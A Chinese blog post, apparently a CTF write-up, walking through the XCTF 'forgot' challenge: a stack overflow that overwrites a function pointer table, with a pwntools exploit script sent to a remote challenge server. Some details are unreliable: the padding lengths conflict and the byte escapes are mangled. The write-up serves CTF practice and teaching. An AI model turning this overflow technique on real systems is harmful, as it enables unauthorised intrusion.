zoukankan      html  css  js  c++  java
  • xctf

    xctf - forgot

    check一下,开启了NX

    拉入ida中,能找到:

    __isoc99_scanf,能够无限输入,

     

    循环中,读取32个scanf的字符并进行判断,最后根据结果调用存在栈上的函数表,正好位于溢出变量的下方,

    并直接使用v3+ --v14栈地址作为函数,如果v14为1时,就会是v3地址的函数。所以构造63 byte的padding加上填充的目标地址就可以拿到flag

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote('111.198.29.45',31543)
    #p = process('./forgot')
    '''
    payload="A"*63+"xccx86x04x08"
    p.recvuntil("What is your name?")
    p.sendline(payload)
    p.interactive()
    
    '''
    payload = 'A'*0x24+p32(0x080486CC) 
    #payload = "A"*32+"xccx86x04x08"
    p.recvuntil("> ")
    p.sendline('a')
    p.recvuntil("> ")
    p.sendline(payload)
    
    p.interactive()
    exp

    ps: 暂时不知道为什么payload = "A"*32+"xccx86x04x08"可以得到flag,但是payload = "a"*32+"xccx86x04x08"却不能。

  • 相关阅读:
    20170809上课笔记
    20170808上课笔记
    20170807上课笔记
    20170804上课笔记
    《备份恢复3》
    《备份恢复2》
    《SQL语句测试》
    《备份恢复1》
    《oracle管理7》
    《oracle管理6》
  • 原文地址:https://www.cnblogs.com/yidianhan/p/12026062.html
Copyright © 2011-2022 走看看